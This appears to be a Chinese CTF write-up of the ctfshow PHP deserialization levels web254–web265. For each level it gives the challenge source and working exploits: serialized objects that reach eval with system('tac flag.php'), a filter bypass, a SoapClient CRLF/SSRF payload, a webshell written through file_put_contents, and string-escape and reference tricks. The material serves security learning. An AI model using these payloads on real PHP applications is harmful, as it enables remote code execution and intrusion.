ctfshow_web入门_反序列化_web254-web265

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

 以get的方式传入username和password两个参数,其值为均为‘xxxxxx’,即可得到flag

payload:url/?username=xxxxxx&password=xxxxxx

 web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

以get的方式传入username和password两个参数,然后通过反序列化一个cookie去还原一个ctfShowUser对象,再进行条件判断

exp:

<?php
class ctfShowUser {
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}

$a = new ctfShowUser();

echo urlencode(serialize($a));
?>

通过bp抓包传入,得到flag

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

相较于web255,在flag输出的地方,加了一个条件判断,只需要在序列化前改变它们的值即可

exp:

<?php
class ctfShowUser {
    public $username='a';
    public $password='xxxxxx';
    public $isVip=true;
}

$a = new ctfShowUser();

echo urlencode(serialize($a));

?>

bp抓包传入,得到flag

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

 在backDoor类中有一个eval(),大概率要进行rce

在ctfShowUser类中,有一个构造方法__construct()和一个析构方法__destruct()

构造方法用于创建一个新的实例,并赋值给class

析构方法用于调用实例中的getInfo()方法

综上,只要将要一个backDoor实例赋值给class,然后通过修改$code的值即可进行rce

exp:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}

$a = new ctfShowUser();

echo urlencode(serialize($a));
?>

bp抓包传入,得到flag

web258

相较于web257,多了一个过滤,过滤了格式为“o或c后面一个':(分号)'再加上一个数字再加一个分号”的子串

在一个对象实例化的时候,就会出现这种格式,O开头后一个分号然后是类名的长度再加上一个分号

e.g.

<?php

class test {
    public $name = 'john';
}

$a = new test();

echo serialize($a);
//O:4:"test":1:{s:4:"name";s:4:"john";}

?>

这时我们只需要再类名长度前加上一个‘+’即可,即:

O:+4:"test":1:{s:4:"name";s:4:"john";}

用str_replace()进行字符串替换即可

exp:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}

$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);

echo urlencode($a);
?>

bp抓包传入,得到flag

web259——php原生类SoapClient

由于本地php环境中的soap扩展并没有被正确地安装或启动,虽然经多方参考学习编写出了exp,但本地并没有成功运行

exp:

<?php

$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:12\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null, array(
    'uri' => '127.0.0.1',
    'location' => 'http://127.0.0.1/flag.php',
    'user_agent' => $ua
));

echo urlencode(serialize($a));
?>

等解决该问题后,来补上

web260

payload:url/?ctfshow=/ctfshow_i_love_36D/

直接传入即可

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

__unserialize()和__wakeup()方法同时存在,在php 7.4 以上版本反序列化时会忽略__wakeup() 函数

__invoke()方法中有一个eval(),但并没有条件去触发这一个方法

__destruct()中有一个file_put_contents(),将$this->password的内容写入$this->username的指定文件中,我们可以用这个方法进行文件包含,但这前边有一个判断,是一个弱类型判断,且$this->code的值是由$this->username和$this->password拼接而成,我们可以用877(十六进制:0x36转十进制的值)作为$this->username指定文件的文件名,然后$this->password的值为一句话木马或直接执行系统命令

exp:

<?php

class ctfshowvip {
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    } 

    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
}

$a = new ctfshowvip("877.php", "<?php system('tac /flag_is_here'); ?>");
echo serialize($a);

?>

 url直接传入

payload:url/?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:37:"<?php system('tac /flag_is_here'); ?>";s:4:"code";N;}

再访问877.php即可

web262——字符逃逸(增多型)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

方法一——直接在message.php中传

这种方法不要用到字符串逃逸

只需让$msg->token=='admin'即可

exp:

<?php
class message{
    public $token='admin';
}

$a = new message();
echo urlencode(base64_encode(serialize($a)));
?>

方法二——利用字符串逃逸

不在message中传,token已经被设定为user,根据方法一中得到flag的方式,应该是要让token值为admin

php在反序列化的时候,以';'作为字段的分割,以‘}’作为结尾

我们可以利用这一点,通过控制$to的值让其在序列化后提前闭合并将token的值替换为admin,即

O:7:"message":4:{s:4:"from";s:1:"f";s:3:"msg";s:1:"m";s:2:"to";s:1:"t";s:5:"token";s:4:"user";}
O:7:"message":4:{s:4:"from";s:1:"f";s:3:"msg";s:1:"m";s:2:"to";s:1:"t";s:5:"token";s:5:"admin";};s:5:"token";s:4:"user";}

将上面的替换成下面的

 但替换后token的值的长度会改变

php在反序列化的时候,会根据长度判断内容,并严格按照其序列化的规则实现反序列化

这里我们可以利用$umsg = str_replace('fuck', 'loveU', serialize($msg));,每当一个fuck被替换为loveU后长度便会增一,而我们要逃逸的字符串为

";s:5:"token";s:5:"admin";} //长度为27

因此,$to的值应该为fuck*27+";s:5:"token";s:5:"admin";}

payload:url/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

url传入后,访问message.php,得到flag

web263——session反序列化漏洞

暂时并没有做出来,看了其他师傅的wp,也不是很理解,以后补上

web264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

下面是message.php的内容

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

本题和web262类似,但msg并没有被定义,直接串行不通

用字符逃逸的方法做

利用web262的payload,传入后,访问message.php,bp抓包,在Cookie头添加一个msg=1(注意用';'与前面的隔开)即可得到flag

web265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

在将以get的方式传入的值还原为一个ctfshowAdmin对象后,又将该对象中的token属性值改变为一个MD5加密后的随机数,而这个随机数的生成没有设置随机种子(即:不可预测)

我们可以通过

$this->token = &$this->password

将password属性的应用赋给token,即token和password指向同一个内存空间(同一个值),对token的任何修改都将反映在password上

exp:

<?php

class ctfshowAdmin {
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
}

$a = new ctfshowAdmin(1, 2);
$a->token = &$a->password;

echo serialize($a);

?>
payload:url/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}

url直接传入即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值